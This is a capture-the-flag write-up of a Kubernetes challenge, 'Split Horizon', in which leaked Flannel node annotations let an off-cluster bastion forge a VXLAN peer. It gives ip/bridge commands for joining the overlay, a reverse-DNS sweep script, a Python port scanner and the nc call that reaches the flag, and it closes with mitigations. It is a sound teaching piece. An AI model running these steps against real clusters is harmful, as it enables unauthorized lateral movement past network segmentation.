Skip to content
Wiz The Ultimate Cloud Security Championship: Split Horizon

Wiz The Ultimate Cloud Security Championship: Split Horizon

Arbaaz Jamadar
Written by
Arbaaz Jamadar
Cloud Security & Application Security Engineer · OSCP · AWS Security Specialty · Master’s in Cybersecurity, University of Maryland

Overview

Split Horizon is a Kubernetes-focused challenge from the Wiz Cloud Security Championship. After an incident review, a team split a sensitive diagnostics endpoint away from the normal access path - the bastion service account can only see node-level metadata, the bastion host is not part of the cluster’s pod network, and a NetworkPolicy fences the workload subnets. The objective is to map the network from what the nodes reveal, discover the hidden service through DNS, and reach it without creating any Kubernetes resources.

The path: the leaked node metadata exposes the entire Flannel VXLAN configuration (VTEP MACs, public IPs, pod CIDRs). Using that, we manually attach the bastion to the overlay by building a flannel.1 VXLAN interface, populating the forwarding database (FDB) and ARP entries by hand, sweeping the service CIDR via reverse DNS against CoreDNS, and finally connecting to the hidden flag service.

Challenge -> Wiz: Cloud Security Championship - Split Horizon

image.png


Bastion Reconnaissance

Identify the bastion service account

The bastion-viewer identity belongs to:

  • system:serviceaccounts
  • system:serviceaccounts:kube-system
  • system:authenticated
kubectl auth whoami

image.png

Enumerate permissions

bastion-viewer is allowed to get and list only the nodes resource - no pods, no services, no secrets:

kubectl auth can-i --list

image.png

Dump the cluster topology from node metadata

Even with this minimal RBAC, nodes -o json is a goldmine - Flannel and K3s both write critical networking state into node annotations.

kubectl get nodes -A -o json | jq .
  • Full output (truncated for brevity in the writeup):
Master-1
    {
      "apiVersion": "v1",
      "kind": "Node",
      "metadata": {
        "annotations": {
          "flannel.alpha.coreos.com/backend-data": "{\"VNI\":1,\"VtepMAC\":\"72:6c:75:ba:48:cb\"}",
          "flannel.alpha.coreos.com/backend-type": "vxlan",
          "flannel.alpha.coreos.com/kube-subnet-manager": "true",
          "flannel.alpha.coreos.com/public-ip": "172.30.0.2",
          "k3s.io/node-args": "[\"server\",\"--node-name\",\"master-1\",\"--service-cidr\",\"10.43.0.0/16\",\"--cluster-dns\",\"10.43.0.10\",\"--flannel-backend\",\"vxlan\",\"--disable-network-policy\",\"--disable\",\"traefik,metrics-server,servicelb,local-storage\",\"--disable-helm-controller\",\"--disable-cloud-controller\",\"--kube-apiserver-arg\",\"watch-cache=false\",\"--kube-apiserver-arg\",\"event-ttl=10m\",\"--kubelet-arg\",\"container-log-max-size=10Mi\",\"--kubelet-arg\",\"container-log-max-files=2\",\"--tls-san\",\"0.0.0.0\"]",
          "k3s.io/node-config-hash": "7GZNJUXPFCJUAAMW72BP7QAAOMZD25KVVFTQHC3FXLWYFNTBE3IA====",
          "k3s.io/node-env": "{\"K3S_KUBECONFIG_OUTPUT\":\"/output/kubeconfig.yaml\",\"K3S_TOKEN\":\"********\"}",
          "node.alpha.kubernetes.io/ttl": "0",
          "volumes.kubernetes.io/controller-managed-attach-detach": "true"
        },
        "creationTimestamp": "2026-04-30T13:05:32Z",
        "finalizers": [
          "wrangler.cattle.io/node"
        ],
        "labels": {
          "beta.kubernetes.io/arch": "amd64",
          "beta.kubernetes.io/os": "linux",
          "kubernetes.io/arch": "amd64",
          "kubernetes.io/hostname": "master-1",
          "kubernetes.io/os": "linux",
          "node-role.kubernetes.io/control-plane": "true",
          "node-role.kubernetes.io/master": "true"
        },
        "name": "master-1",
        "resourceVersion": "482",
        "uid": "4b22df0a-1463-4491-9fc4-5b895c5cec2c"
      },
      "spec": {
        "podCIDR": "10.42.0.0/24",
        "podCIDRs": [
          "10.42.0.0/24"
        ]
      },
      "status": {
        "addresses": [
          {
            "address": "172.30.0.2",
            "type": "InternalIP"
          },
          {
            "address": "master-1",
            "type": "Hostname"
          }
        ],
        "allocatable": {
          "cpu": "4",
          "ephemeral-storage": "3936493565",
          "hugepages-1Gi": "0",
          "hugepages-2Mi": "0",
          "memory": "2041380Ki",
          "pods": "110"
        },
        "capacity": {
          "cpu": "4",
          "ephemeral-storage": "4046560Ki",
          "hugepages-1Gi": "0",
          "hugepages-2Mi": "0",
          "memory": "2041380Ki",
          "pods": "110"
        },
        "conditions": [
          {
            "lastHeartbeatTime": "2026-04-30T13:06:03Z",
            "lastTransitionTime": "2026-04-30T13:05:32Z",
            "message": "kubelet has sufficient memory available",
            "reason": "KubeletHasSufficientMemory",
            "status": "False",
            "type": "MemoryPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:03Z",
            "lastTransitionTime": "2026-04-30T13:05:32Z",
            "message": "kubelet has no disk pressure",
            "reason": "KubeletHasNoDiskPressure",
            "status": "False",
            "type": "DiskPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:03Z",
            "lastTransitionTime": "2026-04-30T13:05:32Z",
            "message": "kubelet has sufficient PID available",
            "reason": "KubeletHasSufficientPID",
            "status": "False",
            "type": "PIDPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:03Z",
            "lastTransitionTime": "2026-04-30T13:05:33Z",
            "message": "kubelet is posting ready status",
            "reason": "KubeletReady",
            "status": "True",
            "type": "Ready"
          }
        ],
        "daemonEndpoints": {
          "kubeletEndpoint": {
            "Port": 10250
          }
        },
        "images": [
          {
            "names": [
              "docker.io/library/lab-tools:latest"
            ],
            "sizeBytes": 264685068
          },
          {
            "names": [
              "docker.io/rancher/mirrored-pause:3.6"
            ],
            "sizeBytes": 685866
          }
        ],
        "nodeInfo": {
          "architecture": "amd64",
          "bootID": "a8454756-415a-46f1-8639-9d44c12e594a",
          "containerRuntimeVersion": "containerd://1.7.23-k3s2",
          "kernelVersion": "6.1.128",
          "kubeProxyVersion": "v1.31.5+k3s1",
          "kubeletVersion": "v1.31.5+k3s1",
          "machineID": "",
          "operatingSystem": "linux",
          "osImage": "K3s v1.31.5+k3s1",
          "systemUUID": ""
        }
      }
    }
Worker-2
    {
      "apiVersion": "v1",
      "kind": "Node",
      "metadata": {
        "annotations": {
          "flannel.alpha.coreos.com/backend-data": "{\"VNI\":1,\"VtepMAC\":\"9e:dd:0e:f3:9b:8e\"}",
          "flannel.alpha.coreos.com/backend-type": "vxlan",
          "flannel.alpha.coreos.com/kube-subnet-manager": "true",
          "flannel.alpha.coreos.com/public-ip": "172.30.0.4",
          "k3s.io/node-args": "[\"agent\",\"--node-name\",\"worker-1\"]",
          "k3s.io/node-config-hash": "2VISDBEIGMSX2KEDPD4MNDBX4JJ4Q4ME56IJIOK5B2IBH754O3UA====",
          "k3s.io/node-env": "{\"K3S_KUBECONFIG_OUTPUT\":\"/output/kubeconfig.yaml\",\"K3S_TOKEN\":\"********\",\"K3S_URL\":\"https://k3d-research-lab-server-0:6443\"}",
          "node.alpha.kubernetes.io/ttl": "0",
          "volumes.kubernetes.io/controller-managed-attach-detach": "true"
        },
        "creationTimestamp": "2026-04-30T13:05:36Z",
        "finalizers": [
          "wrangler.cattle.io/node"
        ],
        "labels": {
          "beta.kubernetes.io/arch": "amd64",
          "beta.kubernetes.io/os": "linux",
          "kubernetes.io/arch": "amd64",
          "kubernetes.io/hostname": "worker-1",
          "kubernetes.io/os": "linux"
        },
        "name": "worker-1",
        "resourceVersion": "486",
        "uid": "f28004b9-edd9-4ae6-b5f4-e27631fe9a5d"
      },
      "spec": {
        "podCIDR": "10.42.1.0/24",
        "podCIDRs": [
          "10.42.1.0/24"
        ]
      },
      "status": {
        "addresses": [
          {
            "address": "172.30.0.4",
            "type": "InternalIP"
          },
          {
            "address": "worker-1",
            "type": "Hostname"
          }
        ],
        "allocatable": {
          "cpu": "4",
          "ephemeral-storage": "3936493565",
          "hugepages-1Gi": "0",
          "hugepages-2Mi": "0",
          "memory": "2041380Ki",
          "pods": "110"
        },
        "capacity": {
          "cpu": "4",
          "ephemeral-storage": "4046560Ki",
          "hugepages-1Gi": "0",
          "hugepages-2Mi": "0",
          "memory": "2041380Ki",
          "pods": "110"
        },
        "conditions": [
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:36Z",
            "message": "kubelet has sufficient memory available",
            "reason": "KubeletHasSufficientMemory",
            "status": "False",
            "type": "MemoryPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:36Z",
            "message": "kubelet has no disk pressure",
            "reason": "KubeletHasNoDiskPressure",
            "status": "False",
            "type": "DiskPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:36Z",
            "message": "kubelet has sufficient PID available",
            "reason": "KubeletHasSufficientPID",
            "status": "False",
            "type": "PIDPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:36Z",
            "message": "kubelet is posting ready status",
            "reason": "KubeletReady",
            "status": "True",
            "type": "Ready"
          }
        ],
        "daemonEndpoints": {
          "kubeletEndpoint": {
            "Port": 10250
          }
        },
        "images": [
          {
            "names": [
              "docker.io/library/lab-tools:latest"
            ],
            "sizeBytes": 264685068
          },
          {
            "names": [
              "docker.io/rancher/mirrored-coredns-coredns@sha256:82979ddf442c593027a57239ad90616deb874e90c365d1a96ad508c2104bdea5",
              "docker.io/rancher/mirrored-coredns-coredns:1.12.0"
            ],
            "sizeBytes": 20938299
          },
          {
            "names": [
              "docker.io/rancher/mirrored-pause@sha256:74c4244427b7312c5b901fe0f67cbc53683d06f4f24c6faee65d4182bf0fa893",
              "docker.io/rancher/mirrored-pause:3.6"
            ],
            "sizeBytes": 301463
          }
        ],
        "nodeInfo": {
          "architecture": "amd64",
          "bootID": "a8454756-415a-46f1-8639-9d44c12e594a",
          "containerRuntimeVersion": "containerd://1.7.23-k3s2",
          "kernelVersion": "6.1.128",
          "kubeProxyVersion": "v1.31.5+k3s1",
          "kubeletVersion": "v1.31.5+k3s1",
          "machineID": "",
          "operatingSystem": "linux",
          "osImage": "K3s v1.31.5+k3s1",
          "systemUUID": ""
        }
      }
    }
Worker-1
    {
      "apiVersion": "v1",
      "kind": "Node",
      "metadata": {
        "annotations": {
          "flannel.alpha.coreos.com/backend-data": "{\"VNI\":1,\"VtepMAC\":\"4a:95:90:04:46:ab\"}",
          "flannel.alpha.coreos.com/backend-type": "vxlan",
          "flannel.alpha.coreos.com/kube-subnet-manager": "true",
          "flannel.alpha.coreos.com/public-ip": "172.30.0.3",
          "k3s.io/node-args": "[\"agent\",\"--node-name\",\"worker-2\"]",
          "k3s.io/node-config-hash": "WZLVJPXKFUGMIRJCSTVW5NRXYAKHCJGA5PEZE3TVKHECUB5FQSZA====",
          "k3s.io/node-env": "{\"K3S_KUBECONFIG_OUTPUT\":\"/output/kubeconfig.yaml\",\"K3S_TOKEN\":\"********\",\"K3S_URL\":\"https://k3d-research-lab-server-0:6443\"}",
          "node.alpha.kubernetes.io/ttl": "0",
          "volumes.kubernetes.io/controller-managed-attach-detach": "true"
        },
        "creationTimestamp": "2026-04-30T13:05:35Z",
        "finalizers": [
          "wrangler.cattle.io/node"
        ],
        "labels": {
          "beta.kubernetes.io/arch": "amd64",
          "beta.kubernetes.io/os": "linux",
          "kubernetes.io/arch": "amd64",
          "kubernetes.io/hostname": "worker-2",
          "kubernetes.io/os": "linux"
        },
        "name": "worker-2",
        "resourceVersion": "487",
        "uid": "42949c42-96f9-45af-ab39-b8739cb7b170"
      },
      "spec": {
        "podCIDR": "10.42.2.0/24",
        "podCIDRs": [
          "10.42.2.0/24"
        ]
      },
      "status": {
        "addresses": [
          {
            "address": "172.30.0.3",
            "type": "InternalIP"
          },
          {
            "address": "worker-2",
            "type": "Hostname"
          }
        ],
        "allocatable": {
          "cpu": "4",
          "ephemeral-storage": "3936493565",
          "hugepages-1Gi": "0",
          "hugepages-2Mi": "0",
          "memory": "2041380Ki",
          "pods": "110"
        },
        "capacity": {
          "cpu": "4",
          "ephemeral-storage": "4046560Ki",
          "hugepages-1Gi": "0",
          "hugepages-2Mi": "0",
          "memory": "2041380Ki",
          "pods": "110"
        },
        "conditions": [
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:35Z",
            "message": "kubelet has sufficient memory available",
            "reason": "KubeletHasSufficientMemory",
            "status": "False",
            "type": "MemoryPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:35Z",
            "message": "kubelet has no disk pressure",
            "reason": "KubeletHasNoDiskPressure",
            "status": "False",
            "type": "DiskPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:35Z",
            "message": "kubelet has sufficient PID available",
            "reason": "KubeletHasSufficientPID",
            "status": "False",
            "type": "PIDPressure"
          },
          {
            "lastHeartbeatTime": "2026-04-30T13:06:06Z",
            "lastTransitionTime": "2026-04-30T13:05:36Z",
            "message": "kubelet is posting ready status",
            "reason": "KubeletReady",
            "status": "True",
            "type": "Ready"
          }
        ],
        "daemonEndpoints": {
          "kubeletEndpoint": {
            "Port": 10250
          }
        },
        "images": [
          {
            "names": [
              "docker.io/library/lab-tools:latest"
            ],
            "sizeBytes": 264685068
          },
          {
            "names": [
              "docker.io/rancher/mirrored-pause:3.6"
            ],
            "sizeBytes": 685866
          }
        ],
        "nodeInfo": {
          "architecture": "amd64",
          "bootID": "a8454756-415a-46f1-8639-9d44c12e594a",
          "containerRuntimeVersion": "containerd://1.7.23-k3s2",
          "kernelVersion": "6.1.128",
          "kubeProxyVersion": "v1.31.5+k3s1",
          "kubeletVersion": "v1.31.5+k3s1",
          "machineID": "",
          "operatingSystem": "linux",
          "osImage": "K3s v1.31.5+k3s1",
          "systemUUID": ""
        }
      }
    }

What the metadata tells us

  • master-1

    • Pod CIDR: 10.42.0.0/24
    • Cluster DNS (CoreDNS): 10.43.0.10
    • Internal IP (VXLAN underlay): 172.30.0.2
    • Hostname inside the docker network: k3d-research-lab-server-0.research-lab-network
    • VTEP MAC: 72:6c:75:ba:48:cb

    image.png

  • worker-1

    • Pod CIDR: 10.42.1.0/24
    • Internal IP: 172.30.0.4
    • Hostname: k3d-research-lab-agent-0.research-lab-network
    • VTEP MAC: 9e:dd:0e:f3:9b:8e
    • Hosts the CoreDNS pod (per pulled images list)

    image.png

  • worker-2

    • Pod CIDR: 10.42.2.0/24
    • Internal IP: 172.30.0.3
    • Hostname: k3d-research-lab-agent-1.research-lab-network
    • VTEP MAC: 4a:95:90:04:46:ab

    image.png

That single kubectl get nodes returns the VNI, VTEP MACs, public IPs, and pod CIDRs - every parameter needed to fabricate a working VXLAN tunnel from outside the cluster.

Confirm the bastion is off the cluster network

CoreDNS sits at 10.43.0.10, but the bastion can’t reach it directly - either due to a NetworkPolicy or, more likely, because the bastion container isn’t attached to the cluster’s pod/service network at all:

dig @10.43.0.10 -x 172.30.0.3
# returns 127.0.0.11 (the Docker-default resolver), not CoreDNS

image.png


Why Flannel VXLAN Is Pivot-Friendly

Flannel assigns each node a pod subnet (e.g., 10.42.1.0/24) and creates a flannel.1 VXLAN interface on every node. When a pod on Node A talks to a pod on Node B:

  1. Routing by pod IP - the kernel matches the destination to the remote subnet route, which says “send via flannel.1.
  2. ARP resolution (pre-populated) - the next hop resolves to the remote node’s flannel.1 MAC. Flannel pushes static ARP entries, so no broadcast is needed.
  3. FDB lookup - the bridge forwarding database maps that remote flannel.1 MAC to the destination node’s physical IP (the VXLAN tunnel endpoint, the VTEP).
  4. Encapsulation - the original packet is wrapped in a VXLAN header and sent as UDP/8472 to the destination node.
  5. Decapsulation - the receiving node strips the header and forwards the inner packet to the target pod via its veth pair.

Three different addresses each play a distinct role:

  • Pod IP - picks the destination subnet (and therefore the destination node).
  • flannel.1 MAC - identifies the VXLAN endpoint inside the tunnel.
  • Node’s physical IP - carries the encapsulated packet across the underlay.

flannel_vxlan_packet_flow.svg

Crucially, everything you need to recreate that state from outside the cluster - VNI, VTEP MAC, node IP - was already exposed in the node annotations. Network policies operate at the iptables level inside the cluster, but they don’t authenticate VXLAN peers; any host that can send UDP/8472 with the right VNI to a node will be accepted as a flannel peer.

References:


Joining the Overlay Manually

The bastion has no flannel.1, no FDB entries, no neighbour entries, and no route into the pod/service CIDRs. Build all four by hand using the bastion’s underlay IP 172.30.0.5 (visible from ip addr on the bastion).

The goal is to enumerate 10.43.0.0/24 (services CIDR - that’s where CoreDNS and the diagnostics service live).

  1. Create the VXLAN device

nolearning is important - Flannel relies on a static FDB pushed by the controller, not MAC learning:

ip link add flannel.1 type vxlan id 1 dev eth0 local 172.30.0.5 dstport 8472 nolearning
ip link set flannel.1 mtu 1450
  1. Bring it up with a stub address
ip addr add 172.30.0.5/32 dev flannel.1
ip link set flannel.1 up
  1. Add a static FDB entry pointing at master-1’s underlay IP
# bridge fdb add <VTEP MAC of remote node> dev flannel.1 dst <underlay IP of remote node>
bridge fdb add 72:6c:75:ba:48:cb dev flannel.1 dst 172.30.0.2
  1. Pin a permanent ARP/neighbour entry for the gateway
ip neigh add 10.43.0.0 lladdr 72:6c:75:ba:48:cb dev flannel.1 nud permanent
  1. Route the service CIDR through the new interface

onlink tells the kernel “trust me, the next-hop is on this interface” - there’s no real L3 gateway in this overlay:

ip route add 10.43.0.0/24 via 10.43.0.0 dev flannel.1 onlink

At this point the bastion can encapsulate VXLAN packets that nodes will accept and decapsulate as if they came from a sibling pod.


Reverse-DNS Sweep of the Service CIDR

CoreDNS is now reachable at 10.43.0.10 and will happily reverse-resolve any service IP in the cluster - that’s how we’ll find the “hidden” diagnostics endpoint without listing services via the API.

reverse-lookup
#!/usr/bin/env bash
#
# Reverse-resolve a /24 (or arbitrary range) using a specified DNS server.
# Usage: ./revdns.sh [dns_server] [subnet_prefix] [start] [end]
# Example: ./revdns.sh 10.43.0.10 10.43.0 0 255

set -u

DNS_SERVER="${1:-10.43.0.10}"
PREFIX="${2:-10.43.0}"
START="${3:-0}"
END="${4:-255}"

for i in $(seq "$START" "$END"); do
    ip="${PREFIX}.${i}"
    name=$(dig +short +time=2 +tries=1 @"$DNS_SERVER" -x "$ip")
    if [[ -n "$name" ]]; then
        printf '%-15s -> %s\n' "$ip" "$name"
    fi
done

The flag service surfaces at 10.43.0.37:

image.png


Port Scanning the Hidden Service

Once we have a name and IP, a quick TCP sweep confirms the listening port (31337):

port-scan
#!/usr/bin/env python3
"""
Simple TCP port scanner.
Usage: python3 portscan.py <target> [start_port] [end_port]
Example: python3 portscan.py 192.168.1.1 1 1024

Only scan hosts you own or have explicit permission to test.
"""

import socket
import sys
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

# Common service names for well-known ports
COMMON_SERVICES = {
    21: "ftp", 22: "ssh", 23: "telnet", 25: "smtp", 53: "dns",
    80: "http", 110: "pop3", 143: "imap", 443: "https", 445: "smb",
    3306: "mysql", 3389: "rdp", 5432: "postgres", 6379: "redis",
    8080: "http-alt", 8443: "https-alt",
}

def scan_port(host: str, port: int, timeout: float = 1.0) -> tuple[int, bool]:
    """Try to connect to host:port. Returns (port, is_open)."""
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            sock.settimeout(timeout)
            result = sock.connect_ex((host, port))
            return port, result == 0
    except (socket.gaierror, OSError):
        return port, False

def scan(host: str, start: int, end: int, workers: int = 100, timeout: float = 1.0):
    try:
        ip = socket.gethostbyname(host)
    except socket.gaierror:
        print(f"Could not resolve hostname: {host}", file=sys.stderr)
        sys.exit(1)

    print(f"Scanning {host} ({ip}), ports {start}-{end}...\n")

    open_ports = []
    with ThreadPoolExecutor(max_workers=workers) as executor:
        futures = {executor.submit(scan_port, ip, p, timeout): p
                   for p in range(start, end + 1)}
        for future in as_completed(futures):
            port, is_open = future.result()
            if is_open:
                service = COMMON_SERVICES.get(port, "unknown")
                print(f"  {port:5d}/tcp  open  {service}")
                open_ports.append(port)

    print(f"\nDone. {len(open_ports)} open port(s) found.")
    return sorted(open_ports)

def main():
    parser = argparse.ArgumentParser(description="Simple TCP port scanner")
    parser.add_argument("host", help="Target hostname or IP")
    parser.add_argument("start", nargs="?", type=int, default=1,
                        help="Start port (default: 1)")
    parser.add_argument("end", nargs="?", type=int, default=1024,
                        help="End port (default: 1024)")
    parser.add_argument("-w", "--workers", type=int, default=100,
                        help="Concurrent threads (default: 100)")
    parser.add_argument("-t", "--timeout", type=float, default=1.0,
                        help="Per-port timeout in seconds (default: 1.0)")
    args = parser.parse_args()

    if not (1 <= args.start <= args.end <= 65535):
        print("Port range must be 1-65535 with start <= end", file=sys.stderr)
        sys.exit(1)

    try:
        scan(args.host, args.start, args.end, args.workers, args.timeout)
    except KeyboardInterrupt:
        print("\nInterrupted.", file=sys.stderr)
        sys.exit(130)

if __name__ == "__main__":
    main()

image.png


Capturing the Flag

nc 10.43.0.37 31337

image.png


Key Takeaways

  • Node metadata is sensitive. Even read-only access to nodes leaks the entire CNI configuration in K3s/Flannel deployments - VTEP MACs, VNI, public IPs, and pod CIDRs. That alone is enough to forge a peer.
  • NetworkPolicies don’t authenticate VXLAN peers. Flannel trusts any source that produces valid VXLAN frames on UDP/8472. If an attacker reaches the underlay (the docker/host network the nodes share), NetworkPolicy at the pod level won’t stop overlay-level pivoting.
  • CoreDNS reverse lookups are an attacker-friendly service map. Any pod (or any peer-on-the-overlay) can sweep the service CIDR and recover service names without listing services via the API - useful when RBAC strips the obvious enumeration paths.
  • Mitigations: scope get nodes carefully (consider PodSecurityAdmission and a custom view that omits annotations); isolate the bastion host on a separate L2/L3 segment so it cannot reach node underlay IPs on UDP/8472; turn on Flannel’s EncryptionEnabled (WireGuard backend) so peers must hold a key, not just craft frames.